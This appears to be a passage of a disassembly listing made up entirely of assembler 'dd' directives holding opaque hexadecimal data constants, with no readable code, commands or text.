dd 88A6A5C5h, 78DDAFF4h, 48E6ECB3h, 81F1D2Ah, 5638C0C2h
dd 281C9B96h, 260F8A00h, 0B617522h, 0CA790669h, 4089C6D5h
dd 7FAD2700h, 0CD327D88h, 2231E07h, 290300D8h, 22699CC5h
dd 0C83AC903h, 0A005DF61h, 1CE87839h, 800BEF47h, 0A70E8A25h
dd 5F00449Dh, 0A16D5B9Fh, 1712165h, 6ABBF120h, 45FFBD45h
dd 93FB8084h, 2600EB18h, 4AB9A25Ah, 0CD7E95h, 8E31D772h
dd 0CBD1848Bh, 79DADC1Dh, 0A74C8701h, 0F6D0882Ah, 0E060004Eh
dd 78B4E211h, 6303EFD6h, 20CBF373h, 0DFFCF0B3h, 0BAF5064Bh
dd 40B8DA0Bh, 0C5A5F600h, 3DD18177h, 305D6F6Ah, 8290C80h
dd 0A1F202Ah, 3A76F4h, 7E1A02C0h, 1873CE6Fh, 38DED691h
dd 0A23AD734h, 0EB43E76h, 0A588770h, 21DC2CA6h, 43EE5636h
dd 3CC4308Ah, 75C0C0F9h, 8336770Ch, 64710CAh, 0CC724107h
dd 103021C9h, 16CB0889h, 0FAA20313h, 0CCD4BCAh, 6B002177h
dd 1B344EEh, 340930h, 3D0DA10Fh, 0F533E0B4h, 69CBDA07h
dd 41904DB7h, 7C8070h, 47667FC8h, 48B3AB4Ah, 0EE80F561h
dd 2453C13Ch, 0B43EB8CEh, 191B86Fh, 0DC54B66Ch, 41F7D636h
dd 8086A488h, 0F61079B9h, 1EF1F4A9h, 406C952Ch, 8DFD7FEBh
dd 67005872h, 0DB78BB29h, 26E30214h, 0FB29B08h, 0C863F1C2h
dd 4800C522h, 0A91DBCC4h, 0E62A7A38h, 11F81Bh, 0DC22D4B3h
dd 0FCA1837Fh, 0A258557Ah, 391B308Dh, 0F466D09h, 0CA12476Ch
dd 130E7800h, 50E3BB6Bh, 0B732A894h, 9634801h, 0AFDAA90Bh
dd 0ECCC8121h, 0B838002Eh, 4D9ADDDBh, 209E97Bh, 0C3BB5E6h
dd 1629416Fh, 5CC734h, 759A9EEFh, 8807EBD6h, 62AB452h
dd 5C6F9F30h, 74A44866h, 0E45E7006h, 0D7012087h, 0F0F8CBA5h
dd 64201904h, 4109014Ah, 0B453C203h, 3FA840C9h, 0BA1FF6B6h
dd 0AC684E9Eh, 0BF294600h, 99B94353h, 244100F3h, 2C9A2F62h
dd 6A00ED56h, 78F02A70h, 5834A53Ah, 72007D4Ch, 0D1C40DA6h
dd 75757EB2h, 5DCFA000h, 0D644434Bh, 0B8F0ACh, 0DAC5DF08h
dd 0F4220AD4h, 96B14C00h, 0A744ED3Fh, 4DC09D76h, 0E4E0F852h
dd 0F216C300h, 27438B6Fh, 517B00ABh, 0A83C33A5h, 950054A9h
dd 7868E7BDh, 0B27BED0h, 9E9C6276h, 0F8B8CA00h, 0C0002F56h
dd 3FA4162Ah, 7E313E8Ch, 0A0F400C3h, 0DDBA6F29h, 420ED3B6h
dd 0C0F6E8ACh, 0DA902787h, 0BC300D0h, 23AF8906h, 7F00B9D8h
dd 0F67282CFh, 0EC6DB05Dh, 0FDFB00A9h, 0A7FC6B74h, 0DF000A67h
dd 91C0368Dh, 65372Ah, 0F903A2A9h, 1530FC4Fh, 0D39BB00h
dd 50A8CDA5h, 81531E02h, 883D989Bh, 6F00E822h, 49A72841h
dd 397F898h, 178D589Fh, 4801EEB1h, 45E33C57h, 1080675Fh
dd 9A6001A2h, 737F3E2Bh, 3FD4D101h, 0A4D08CB8h, 7BE3A850h
dd 8523011Ah, 0A7E29CEFh, 5A15FC57h, 30BE6000h, 11A4B896h
dd 0F44E00C1h, 9E4FF85Eh, 0F9C00C22h, 0D2061BE0h, 41660072h
dd 4C473088h, 9801D311h, 0EBDAED45h, 8481E6B7h, 0FD5E133h
dd 1F8FE810h, 50D94830h, 0F5643Fh, 2F9F1E74h, 172C7A35h
dd 65E9FC00h, 0DBC01D7Eh, 0A89C004Ah, 8BA9CD72h, 0B006FB6h
dd 4FEEF33Dh, 77668D6h, 4DF6FDAAh, 0D9E1A00Ch, 0D3001D2Ch
dd 0F1559CDCh, 3EFACDEh, 6F66FB69h, 73E827ABh, 5711D32h
dd 0BFB60F00h, 0A6915DB5h, 0E32800E6h, 813068C3h, 0C4FA6346h
dd 888D5128h, 5CF41219h, 2CE08299h, 0D97C3833h, 94E3C600h
dd 14A00B3Dh, 0C2673F00h, 0BE81E086h, 0CB25009Ah, 985ACFFBh
dd 2701C63Ah, 888D6BE5h, 5BFC131Ah, 2C260091h, 0FB427950h
dd 5D1DB759h, 44806371h, 0C337223Eh, 90A40023h, 799F6F02h
dd 2907127Fh, 92DD6507h, 1FB95380h, 49A500F0h, 6BD4D5E5h
dd 0D7015FFEh, 24942773h, 69FCBF07h, 4C1C0047h, 967BCD97h
dd 9300954Fh, 54632F11h, 0DAF116h, 0F98FB483h, 6EB3875Ch
dd 0F5753F0Ah, 9D3F90F2h, 7C8144ECh, 0E498653Bh, 0B8256EE4h
dd 0A3C300DDh, 0E9D7CC3Fh, 7D7434C2h, 6AFD400h, 7F196FB8h
dd 0D5260F58h, 0DCC1B28Eh, 0D46E6C0Fh, 0E701B9A0h, 9EEFBCB1h
dd 0A961E01Ah, 41FADE8h, 0E26B2B80h, 6DAC8006h, 8D03430Ch
dd 9D64444Dh, 9E3EF0EFh, 0CAC501A0h, 953FEE12h, 0A8016021h
dd 8E0CC200h, 8A3ED746h, 14C0067h, 212AE223h, 2900AD14h
dd 0CD3B498Ch, 0E93E13h, 5D010A5Ch, 7DB064E4h, 0AB7B9700h
dd 0B6FBE0E1h, 583BE650h, 61008875h, 0E533E73Fh, 0EA003CF3h
dd 0BC8EB82Dh, 171FE11h, 4E99AB4Dh, 30157BF6h, 7C1E586Fh
dd 0E8C0D222h, 2A8B3D75h, 9D98023Ch, 0D78884C2h, 4D569481h
dd 2959DC22h, 0E708EF0Fh, 3777207Fh, 75A4E49Eh, 0DD1D0140h
dd 265ABA0Fh, 94F8F0C5h, 3F1E950Fh, 0F990803Ah, 7BD5CD6h
dd 0F013AD08h, 0A0A02F83h, 26E0FC82h, 574C9E00h, 5A5C0B4Ah
dd 0EC9D05F8h, 80CF2F25h, 0D1179587h, 82161500h, 0EDAA81E5h
dd 0C2FF00D6h, 647CD929h, 0A60797E1h, 0FD6A51EBh, 990F8339h
dd 0FCC000C8h, 9C36229Fh, 7401C318h, 0AD16915Ch, 0AFE5CB06h
dd 9D321083h, 0E2CB7052h, 1E72FC88h, 0CA1CF900h, 0DDEE18F4h
dd 6E2C1E0Eh, 90EDC04Ch, 9159DF24h, 4F0541FCh, 4E0BEF2Bh
dd 555DEBC0h, 0EE07126Ah, 7C340080h, 0F803F5B4h, 0F0EFD801h
dd 36AA04DAh, 54B9BCCh, 56E36722h, 0D6A0001Eh, 0C2BC189Dh
dd 1658A903h, 0C087D0FFh, 3B8B22h, 441D145Dh, 0DD6AB804h
dd 0A992F400h, 318EBF80h, 49AF081h, 0E7DC61D3h, 621C8045h
dd 6B0023DDh, 909110B4h, 3CCE05h, 3B4EA79Ch, 383F3904h
dd 6799AE00h, 77727611h, 319F2A4h, 9E04DCCAh, 0CFC01F5Ch
dd 0AC71F742h, 570008E0h, 0C2AD3FECh, 9E3DDEDh, 0A54D963Bh
dd 39622F00h, 7F12FC9Ch, 0D400B0BBh, 2485A4DFh, 16CA48C1h
dd 215CD400h, 0FEF61177h, 0A8289503h, 0D82E0247h, 315C262h
dd 14FFF73h, 0DF98806Dh, 70FFA5D0h, 38FAD50Dh, 0FE0B2F00h
dd 0E18D5593h, 342D07A0h, 3A7771h, 1AA6A458h, 0F784B41Ch
dd 3F9AD100h, 6FF856h, 0CA81594Ah, 190CFFB9h, 5B46F600h
dd 45384029h, 31112460h, 0E6EE0047h, 5456C73Fh, 0D77AF600h
dd 454C63EBh, 2BB700F4h, 6C91CEE5h, 0EC00939Eh, 5960DC6Bh
dd 0A3B5F1h, 1A15E7FEh, 0F8E0D0BBh, 378340FBh, 0B600AF5Eh
dd 0DA9D6B0Dh, 5527E7h, 433FEF76h, 0C82CE6C2h, 3D5D3707h
dd 0C7812034h, 1EC06E4h
dd 18A03BB6h, 17274780h, 0F44B0BCAh, 1E35EE07h, 0E38050EAh
dd 0F80A1BD9h, 0CDBE0714h, 8080AF03h, 0ADCEE987h, 0B70F35E2h
dd 0E0FB462Dh, 0F1266E83h, 32C4005Eh, 610106D7h, 0C900FF1Dh
dd 126F19F5h, 3F9C52h, 0EE5A62FBh, 459E5887h, 2466C258h
dd 0AC289CCDh, 5400E876h, 3AFC20FFh, 48D866B3h, 430218E5h
dd 0C23110A8h, 81D39140h, 5300BF7Bh, 0DABB751Ch, 0F6AA9E6h
dd 11A0F9Dh, 9894DFE0h, 7A7954D1h, 41872500h, 9C4D58C9h
dd 0E88D006Eh, 246CB8D4h, 333AA62Bh, 82BE124Ch, 409EB00Fh
dd 5B1459C6h, 0F45802BBh, 0C14BDFC5h, 0CCC338C1h, 950041F1h
dd 5B1B592Ah, 0BAC0811h, 5598C13Eh, 8CF35A80h, 1F00EE3Fh
dd 0FE6FC80Fh, 5BC732Fh, 694F0D7Dh, 57189013h, 0F900F024h
dd 0AE102579h, 31D5E8h, 7B0958BAh, 74F250CBh, 239B7F00h
dd 4C1F91EFh, 54BF51CFh, 0C059C4D4h, 7BAEBBA0h, 6300A05Ch
dd 0F01214F1h, 0D66679h, 9CB49AE8h, 6202A93h, 6E8FFD00h
dd 83F12958h, 380D00C4h, 36D011EBh, 9DF6B943h, 91974503h
dd 0D0696422h, 51EC529h, 0F5779E5Eh, 5FD400D5h, 55EEEB1Bh
dd 0BB0012F6h, 14E33C2h, 0F68BFEFAh, 82740781h, 504B13A6h
dd 3EECD7B2h, 0A2F91664h, 43B55FC0h, 15140E91h, 0D0C075C5h
dd 66A34C53h, 2B954500h, 8CF6F12Fh, 16AF03A4h, 61E473DFh
dd 2260E7CAh, 0E80101AAh, 2CDC6AEAh, 7DE4A349h, 0B51D0F0Bh
dd 0B620EC58h, 0E7BD8785h, 0F503BC00h, 0CF6D7ABEh, 75C606C4h
dd 711ACEA3h, 7FDDCB58h, 360C077Ah, 18DE0A19h, 1549002Dh
dd 0EFF5E4E7h, 100092F7h, 0FB6F48FAh, 0C08D5ABh, 0C9E8777Ah
dd 4B90ED50h, 0F0463A00h, 87FEA254h, 73740039h, 0C411A61Ch
dd 0DF0612E2h, 0A123D1DCh, 74B21861h, 7E1940C7h, 0E4050198h
dd 770CDEADh, 0F1D61781h, 0C6B2E08Ch, 57C52B9h, 0C81D9138h
dd 1CD213B1h, 5FF8F100h, 7794CDh, 307DABE6h, 0D889646Fh
dd 0F6666100h, 0A3565DC8h, 0B4430053h, 0E61A5723h, 0A400A713h
dd 0B8513DDCh, 0F5B5ACh, 0C5E7C28Fh, 169B4F01h, 1B8D7500h
dd 0C9252B68h, 0DFDE4831h, 6636C500h, 0B033ECC1h, 82A8644Eh
dd 4C3C0400h, 0C39E393Fh, 77114B0Eh, 0F21A6079h, 628B90h
dd 22EEBDB4h, 0D58E32ECh, 2C1C01Dh, 534003Dh, 0EA3F6DC7h
dd 10B61E31h, 4E3C8065h, 6C968E86h, 21CD3200h, 0A78B2D7Fh
dd 88CA0393h, 0E8568418h, 0D8D195A1h, 6D00AC57h, 0E7E6C08h
dd 38D86755h, 7B80653Dh, 0F5E6669h, 0A607CA8Ah, 9D500CA3h
dd 0F16DBF70h, 0DAB0006Bh, 0CA722FC3h, 0DD00E121h, 0B6323E44h
dd 8AD56h, 781CEC5Ah, 4F57E2BBh, 14EECA01h, 0D7FB4AA5h
dd 7248CF0h, 73F81DDCh, 64B9400Ch, 0D000C776h, 13BE440h
dd 7B4EE921h, 0BBDE0089h, 6ED25EB2h, 0BD00EA0Bh, 72F2A729h
dd 16BAAC8Ah, 1103D9h, 0E242E6A6h, 1A007064h, 0AD54D08Bh
dd 1790F815h, 0E5A431h, 1EF245Dh, 58009807h, 921E949Ch
dd 75B780Dh, 2036A8C0h, 7F0FF333h, 0B5AD80EDh, 59009E1Dh
dd 9509C8A3h, 9A2D7Ch, 708EC961h, 6E6FFD2Eh, 2182A800h
dd 0F542676Bh, 0C9893E94h, 3D684580h, 0AF47E943h, 870084FEh
dd 58C704F0h, 18F7Ch, 99B72088h, 767D6909h, 0DC5B9100h
dd 39D9561Bh, 0F4B80095h, 0DD6FACB5h, 0B4FE51D8h, 67591200h
dd 210BC077h, 4FEB005Fh, 0F6BCB8C2h, 750024F4h, 787A5997h
dd 0C0DA110Dh, 0AEBFD620h, 50EE93F3h, 0D8A0517Bh, 400E58Dh
dd 2DE06DD3h, 0CAE96Ah, 5D4CCF1Fh, 4D2616F8h, 0B4715428h
dd 2468B83Fh, 8E004FA1h, 9BEC2766h, 0A5AF073Bh, 0C081F602h
dd 0B192A398h, 0F3CEF500h, 0AB74B68Fh, 0A7C9008Ch, 53E7992Ch
dd 0B91E2EE9h, 3A80AAE3h, 4A7CFA29h, 950A0AA9h, 80F4BE82h
dd 260C211Bh, 0AA887197h, 0F10A67D8h, 0DCE5B088h, 0A077AB46h
dd 0ED9A850Fh, 48040D5h, 1C3A5D76h, 5CC8F00Ch, 394D0023h
dd 48A0D50Dh, 0C401C200h, 632F0994h, 0A59A3072h, 260B90F2h
dd 1DB9D418h, 0D8AB70h, 758302C7h, 0E1DCB553h, 81D44800h
dd 0E3C8F940h, 0A3EA3C95h, 0CF1B2E1Fh, 6216AF1h, 0DCC5A5A7h
dd 0B3009DB0h, 0F87A7246h, 8123C6h, 4E91FA6h, 0A79E8C40h
dd 0F016C500h, 339A34F7h, 7A8A77A3h, 48C800FFh, 32D30ECBh
dd 0CA00A02Fh, 4CA8575Ah, 141A6h, 9B7BDB90h, 0F6CBD068h
dd 154A2207h, 0FD80266Ch, 0B3B03Eh, 75869CD1h, 45C2212Dh
dd 0D99A2B13h, 8BD0DFC0h, 0D324007Dh, 0BB55D6DEh, 0EEEE8153h
dd 3DBFAF07h, 2428029h, 594C4067h, 0DDAE02D9h, 484590B9h
dd 0A5ADDD40h, 94CCA201h, 46E43082h, 687D60h, 0D766D669h
dd 0B0C122C6h, 0C7426D00h, 0F3BD90E0h, 24290010h, 0CF5419E4h
dd 82392A9Fh, 71B8500Bh, 0DAFA6800h, 455E2E05h, 230C1C8Eh
dd 0E32A4040h, 0F84E1EDCh, 0ADB03100h, 0E8165DA4h, 1828009Eh
dd 588D9C37h, 7300D5CFh, 85C77996h, 0BEC46Fh, 86A10334h
dd 0EA7A4401h, 0DF005F7Ch, 8BE70DE4h, 18770D2h, 0E2B5C828h
dd 0E0613789h, 0FB00EDFFh, 1D6E78E0h, 95C534Bh, 8DD18034h
dd 0E40FC82h, 9D00E450h, 63302B71h, 7B48A77h, 93B5ED03h
dd 0A6B3F0B0h, 7D005687h, 0FD1433F7h, 0F04AFC1Dh, 375EA02h
dd 0ECD386B9h, 0CED0C69Fh, 30C4A738h, 64C05CEBh, 0D94192h
dd 28C5BFFBh, 0DD9EDB1Fh, 0B5002490h, 0A37F40A9h, 0BA9F6Eh
dd 0B61206FEh, 4B3CBF1Dh, 60008774h, 8D99D17Ah, 0F8E9AC9Ah
dd 0F9E000D3h, 0E610BAFCh, 4C6093AFh, 0AA380920h, 0CF0E0002h
dd 0C67A6F03h, 76009D5Dh, 202CFE15h, 30541194h, 342A3C89h
dd 6B00DFEFh, 3D0FDE2Eh, 1A1F39h, 61CD7948h, 0E2FCEA23h
dd 56C53500h, 0EC805F69h, 84D4075Dh, 9001D62Bh, 9FE3CE55h
dd 0C71CA6B8h, 9AC26DDCh, 84480312h, 79803AA9h, 73070B2h
dd 6EFA45B8h, 6423101Ch, 0AA00619Ch, 1F4E7239h, 0FC189C2h
dd 7D4C2ADBh, 0A4AF20E0h, 8E1F81A6h, 80BFD704h, 0D2DBAE42h
dd 3B77A3h, 0B2370E9Bh, 0D0CDDC5Ah, 0A79FE0Fh, 0E7246062h
dd 79A9CD6h, 4E8EF210h, 810460C6h, 97983E6h, 0B21DFC0Fh
dd 204A8BBEh, 0AA4892D4h, 0AF6900C8h, 5AF13040h, 2DFAEC3Ah
dd 9964B600h, 20DC2CCCh, 0B49ABCh, 1A3F42FDh, 92AC2397h
dd 76832639h, 9B3FAAFAh, 0D0700DEh, 0E5D25C51h, 36C20091h
dd 89616FA8h, 0C500ED56h, 9F8CE62Ch, 85B5A2h, 7E73EC09h
dd 3A06E81Ch, 0FE5EF107h, 0F28143E0h, 82E03EA2h, 0A9865108h
dd 1F6993C8h, 5E5AE77Ch, 482040B9h, 911BE50Fh, 0F9210200h
dd 0BAFEC4AFh, 32CD00C5h, 0D02E3ECCh, 0EF0F3CEEh, 7E36B58Dh
dd 6BA6E040h, 78498EA8h, 9FB11EFEh, 378F409Ch, 68BAED50h
dd 0C2C13300h, 0DC5C8C20h, 2F5500F3h, 80628D3Ah, 1B0F18F0h
dd 5D193490h, 1C13DCC0h, 9AC2F47h, 0B2DFCDD7h, 0DBC3C480h
dd 4800E6E3h, 58155D9h, 386F3EF3h, 3C00F47Eh, 0A434C70Eh
dd 86002A8Eh, 43DF104Fh, 2393CFh, 0C9E92E0Dh, 5AB444F6h
dd 0B9BC51Ch, 0FF18F2C7h, 62982F20h, 210E05Dh, 0CD3F8F6h
dd 0C8B727h, 0A45D1B34h, 96390000h, 65C21216h, 147C7419h
dd 1037347Bh, 311251Dh, 0CDC0D768h, 96C1FFA0h, 9462BE03h
dd 201B9Ch, 0E61DCC28h, 0B4842E5Fh, 6A086060h, 70E0B6B0h
dd 0D3AF001Ch, 4E6BC4Fh, 0C000E777h, 0B2F933C4h, 3A8D097h
dd 0A34BCD9Ch, 8DD8B742h, 5D03C925h, 7CD42806h, 2643C19Ah
dd 600C6DF8h, 0CD8A9838h
dd 0F6754C62h, 20D5B901h, 0B7E2C03Bh, 0A1CADCh, 8E13F47Bh
dd 0C4A879C2h, 7228709Ah, 0E6027C1Eh, 247811FEh, 0CC14B017h
dd 5FE81862h, 5280D016h, 78B0FBF4h, 6A75C00h, 0B2935D97h
dd 404B0FC1h, 0DA673B46h, 0DF2D6059h, 0E800E660h, 25DB33A9h
dd 0FF6A9Fh, 222FC820h, 0B9956E93h, 5CBD210Eh, 3F8C800Ch
dd 3FE4EE1h, 0EA3D849Ch, 0BE9FA081h, 0F48947C0h, 7600B787h
dd 77A134ABh, 3D9CBB5h, 7139B6CAh, 0C8D874EBh, 94079F0Ah
dd 0BA8DA45Fh, 3BC88CB6h, 0E607A8FDh, 83C59768h, 0B6EA66F6h
dd 2B00F864h, 0A19424D0h, 1C97130Ah, 458E0865h, 1FE5B131h
dd 59660094h, 9A4F17B6h, 0F72FAD07h, 0A19056CFh, 79B7B3h
dd 0A58B5234h, 0B8159955h, 0D89FE100h, 1DDA9086h, 0B14C3A32h
dd 0A87D1872h, 0E70A78C8h, 7C8C1124h, 0AB3C8D3Ah, 48F2381Dh
dd 187E1B50h, 11C11197h, 63078F15h, 185E6189h, 185D3583h
dd 50CA4E08h, 602407F4h, 1100268Bh, 5B80AD33h, 0CC2150DEh
dd 6B11875h, 0C8AD11Dh, 6F86B800h, 0A5398EBAh, 2F223A58h
dd 81CCC924h, 0CD0CE999h, 0A301CCBAh, 5999E761h, 0F7F80367h
dd 7B710615h, 613A9051h, 52017846h, 9EBA71DEh, 0C0EF0C2Dh
dd 0DDFBA721h, 0F9001360h, 695A120Ch, 500BC771h, 0EE054h
dd 0BDFC61D7h, 1362F093h, 0EC0163E6h, 8CBAD489h, 80E07446h
dd 0A2B20004h, 20141E2Eh, 0F800ABF6h, 67762BE4h, 0F645EE2Fh
dd 0F7A6006Bh, 0C722A314h, 3900BCEAh, 0A29DB959h, 0F45828D5h
dd 0A9E1005Ah, 207CB7AEh, 3700B61Eh, 683CCFFFh, 7A2DC90Dh
dd 0E5850344h, 0F5ED4F81h, 0BDBF47E0h, 0A088DF00h, 4D8DC3E3h
dd 0C13A019Ch, 4FA5DB5Ah, 76FCEC19h, 894A5Ch, 78AE295Bh
dd 127EA9E3h, 23C4767h, 0D6F657EFh, 5162CC60h, 31B84A00h
dd 0D5496B8Ch, 19180043h, 8FBF0BCCh, 4FEAC53h, 15DAEF00h
dd 528CA750h, 0C3680084h, 4ED3F4B0h, 0CD0005F3h, 0FEC76436h
dd 248C99BEh, 0ECB96h, 569FB7D3h, 9E07A23Ch, 636E1961h
dd 0D8EE0F10h, 5285001Fh, 65DE26BFh, 960061EFh, 82E566C7h
dd 4857BC89h, 1E00454Ch, 5928E442h, 7703FE99h, 667B08D0h
dd 37D8003Ch, 837ACD98h, 0FD000C50h, 12FA8E1Fh, 0E6F00Eh
dd 0CEB7824Fh, 0E59989A1h, 0C8131D00h, 0CAAAA909h, 60E4ECh
dd 18F967F5h, 58341ABCh, 0C9A77A00h, 12256F4h, 53E246Fh
dd 4C3F0045h, 946784B3h, 64E2A200h, 77DF9221h, 2D3C1CFAh
dd 0F240CFE8h, 737A1500h, 6D7D4EF3h, 21835A18h, 66F9B4h
dd 0F29D7F39h, 0E4D7F52Eh, 4AF894A0h, 0BB2F2D00h, 394B41D6h
dd 7DF23EDFh, 0B5D8118Ch, 1004F11h, 5F8ACB37h, 0C030ED36h
dd 0E92D2219h, 0AC0084A1h, 918A068Ch, 76E4045h, 4C12DA0Ch
dd 7674822Fh, 1A601CC0h, 80848739h, 0C0AB378h, 0F1E2415h
dd 0FAF75BF5h, 0B72EFF20h, 69006533h, 6D89B5B0h, 608CDCFEh
dd 94B4703Bh, 2A01EC15h, 55BA0FD4h, 0BC50020Ch, 833B5h
dd 225A2D0Eh, 0FFE24FC0h, 0DD0F697Dh, 3E9F7Ch, 0C38C3234h
dd 0DC4009Eh, 0B4E95DB5h, 945CBA72h, 0EC681DF5h, 8CD6DA00h
dd 0A0BCC6h, 7B122FA9h, 0B6297887h, 7C0A8F00h, 3A921F04h
dd 0BDA7A2Ch, 0BEE7E8F2h, 0CCB79000h, 9A0253A2h, 13CF1F81h
dd 488E8093h, 3C2F74FCh, 0F480F23Dh, 5615085Ch, 7C0186B4h
dd 6C9EA1CBh, 0FBEBBFE8h, 806EEF10h, 5847362Eh, 0AFD500BBh
dd 0B08EBD03h, 59FC40CAh, 0D1438804h, 0B08041E6h, 3D0EF46h
dd 1F2E1DDh, 0AEA08FCBh, 0B3005C76h, 5E793A35h, 420474h
dd 0C0FD2E87h, 0A39027AFh, 4F008AFEh, 97E14580h, 1F41B805h
dd 39B1A43h, 0D026D5EDh, 0F4D7C3B0h, 111CF901h, 0AB021FBCh
dd 2F8CF60h, 0CDFAF182h, 0D89CBA5Eh, 65BF8700h, 0A5D208CFh
dd 0CAEF007Fh, 805B24ABh, 7500443Bh, 9915840Fh, 12D5A727h
dd 0E9E088h, 0FCF27F90h, 6C09C99Bh, 69A563h, 75A21BB8h
dd 0A16B0010h, 58F2E02Fh, 0E91FAEF8h, 6F431F0Bh, 0FB686450h
dd 0D7ECD1B9h, 352720h, 4732E4FBh, 779D3F45h, 9407D0F0h
dd 0DA6DD09h, 0F7261C0h, 15AF0068h, 2F15AA7h, 0F500DA04h
dd 35BBDED3h, 0CA6A22h, 0F6706603h, 0EDC915D0h, 123D5E1Ch
dd 4800783Bh, 938C07BEh, 5C143FCCh, 0DA1D0429h, 887A0052h
dd 3D4486A4h, 9B009EECh, 3671FE20h, 4C79CAh, 0DF14401Ah
dd 0F76DBBACh, 39B02C0Eh, 5F033DBCh, 80FB0A20h, 0C1BF93h
dd 1EAD2305h, 4E975E1Dh, 4CA90805h, 9C05EDBAh, 0C42C6C0Bh
dd 1EB30340h, 3075D34Eh, 0C47E3CC0h, 0D45E112h, 6FE08C00h
dd 3E7A51h, 0C09BDCEh, 73FCCD48h, 0D8F11F05h, 0A1C0DAABh
dd 184577h, 9D3FED9h, 0F8872F47h, 0DF2BE600h, 98928C4Eh
dd 33353DFFh, 29F3A300h, 70A7A002h, 7975DB00h, 433C0B42h
dd 0BC8A015Fh, 295986Fh, 0BCE06BF1h, 24B5F88Ch, 3C23E4h
dd 73C397Fh, 870A5793h, 97C9ADAFh, 0C674BB00h, 0E2E086CBh
dd 72AB0669h, 0F07898C0h, 3808FD01h, 0E850094Fh, 26A346C8h
dd 114297Bh, 5B69EC53h, 878277Fh, 608B592Ah, 24A3505Dh
dd 9038C01h, 2C055A79h, 157C34h, 97C484F5h, 0D79F22A2h
dd 4A38890Ah, 0CB00BF0Eh, 1F05D469h, 420F0017h, 7B20D0CCh
dd 4F07A1DCh, 3E64DE9Fh, 37697EE0h, 0EC431818h, 977D3A80h
dd 88A18300h, 0C2C79011h, 56DC00BFh, 4A6BABA6h, 8891D14Dh
dd 885823E3h, 306A00Bh, 7D77B074h, 9E00F5D4h, 0FFB284F4h
dd 48ADB79Eh, 0D7807C76h, 3E305799h, 0DB31142Ch, 0ACB01D02h
dd 703C60A0h, 636B00B1h, 3027CAF6h, 5F00D5D0h, 0AA8BEEA8h
dd 29CCFEh, 9DD288ABh, 3795BF55h, 63326D00h, 0CD302A45h
dd 0FB7F89h, 9A045234h, 5BD0BB4h, 0C1E9A916h, 0D73E8040h
dd 4ED837h, 29875233h, 2EEFB99Dh, 39F36701h, 2109C0DDh
dd 496F3330h, 8E0420CBh, 8007D699h, 0D8EF184Fh, 0EC6BFF00h
dd 90EEF313h, 0DF350052h, 0F1316779h, 0F877777Fh, 0E2CB0507h
dd 52B5C25Ch, 92EC65C0h, 2AD20068h, 4016BDE6h, 707B1545h
dd 756E8900h, 9AC302E4h, 0A79700BBh, 9B2D8CC0h, 99037764h
dd 2BFF685Eh, 9A4B9827h, 72EF3C6Bh, 3E0D4E00h, 0E3253879h
dd 530AADFCh, 0DCD4B3F4h, 0D8F8B700h, 58B945A2h, 0E20B4CF5h
dd 0E4021BEBh, 5C00EC0h, 41023E5Dh, 58A32AA2h, 0A410E86Ah
dd 0FEE900C3h, 0A9CDAD22h, 71759B6Bh, 47B46F02h, 4E81CAC5h
dd 0E0404D68h, 59C95DC2h, 5AB2605Dh, 803C0FE6h, 96EA0795h
dd 0E33209CCh, 0F5FB6500h, 66E05A15h, 0DA0ADB16h, 1A38D200h
dd 6CE807h, 0D6B27A8h, 0B517C0F2h, 9C563E24h, 0CF300E05h
dd 244E1494h, 851804FFh, 0D000CC97h, 68EF40Ah, 16EB6682h
dd 0B600516Eh, 29AD1A35h, 9320AEDh, 1724AC6Dh, 62E0410h
dd 0FBA6461Fh, 8D36CC40h, 8C703Fh, 0F5CF724Bh, 0C3EBBD83h
dd 0CED48928h, 71411600h, 0EE471F5Bh, 378C0086h, 0B2BDD029h
dd 4800F02Bh, 7FE32E4Bh, 2AF9C7h, 0FF6670C9h, 0F3BCDFBDh
dd 0F41B6901h, 0AF423ECBh, 7D5B120h, 0AD2A1896h, 0C82720A4h
dd 0D3003940h, 63D269F7h, 62DC71h, 4FDA57DFh, 0A024E9C2h
dd 0E13BE00h, 0C9448DD5h, 0B5A80750h, 505C15F4h, 0C54C14ABh
dd 0EA09661Dh, 0B107CFC2h, 58CCE0DAh, 0C160C0CDh, 4F9D2E3Ah
dd 789EA31Eh, 6E7F794Fh, 2F5A208Eh, 79E766C2h, 44B26EDh
dd 7E846350h, 0EF9DBE2Ch, 0CA1CE802h, 1DA04826h, 2CB20083h
dd 7B424721h, 0E107F266h
dd 0B32FAA02h, 0C871B563h, 2C375Ah, 0FFCC839Dh, 53170ABFh
dd 882664B0h, 384158EDh, 6771F111h, 5C9CAFC8h, 0D5092CFCh
dd 0B8A0878Bh, 6A83674Fh, 0E804FE76h, 0D1AECBE4h, 0C688CCh
dd 7D7230BAh, 0F3684BA7h, 0E30C0800h, 484E24Ch, 15FA001Dh
dd 789FBD88h, 2800C33Fh, 537B65FEh, 1B2EA2h, 4010A32Fh
dd 2C4403B0h, 8295B1Ch, 0B3EC8380h, 0F6938BFFh, 5272005Fh
dd 146142C7h, 73091DFEh, 80368A76h, 41D84E80h, 5CE0094h
dd 18BF3195h, 73004588h, 0C7FF1B86h, 53F4CEFh, 9D6CE1D3h
dd 0A0CEFCh, 175D8DD4h, 1473EF99h, 0ECF42F96h, 0E3770808h
dd 2A5A8307h, 0A8C4E4C0h, 0D83C5019h, 0E2A19046h, 0EC6D1291h
dd 0F9A030E1h, 0B01E534h, 0DF764ACFh, 0C0E0AA2Dh, 2BBB00F6h
dd 21F96E17h, 0DE24C29Bh, 0CA0AF831h, 0BAF2C4E8h, 6DB090E0h
dd 0BD451826h, 5C019077h, 4E46BF12h, 0FCF8900h, 0B8677857h
dd 25776Ah, 73631551h, 0FBA22601h, 5CDD100h, 4BD38DD6h
dd 7BDE0075h, 0C4898F95h, 0E30F305Ah, 0D892C6h, 57220336h
dd 0EE7B0060h, 30680B6Bh, 7A00E833h, 0DF7D19C0h, 0E81F6D9h
dd 0FDCA176Ah, 0E0BE6B00h, 8F002664h, 0A392A805h, 0EC8CBD86h
dd 0B39100BBh, 0F898B063h, 0E71F4D46h, 0B81D5C5h, 1B4CF9Dh
dd 306DC4h, 0BB32F983h, 6CB3AF3Eh, 0F45C7F7Bh, 1ECF00E0h
dd 884FE734h, 0DB891E51h, 61164393h, 0E38B203Eh, 1835D7D0h
dd 0D88AF607h, 0C06FFC70h, 58FE9929h, 84050153h, 7E799C33h
dd 0E413DC0Bh, 185AA24h, 0F03514h, 0B5B72912h, 24104161h
dd 24A0EA03h, 0A2C40002h, 8F940758h, 1D130600h, 9E6E7F69h
dd 163601E7h, 0B895EC1Ch, 0E4D0FFDCh, 1E00B6E5h, 31C1587Fh
dd 1A524FCh, 0C23CD18Ch, 20E52F2Dh, 0E60EA234h, 49BBC6F4h
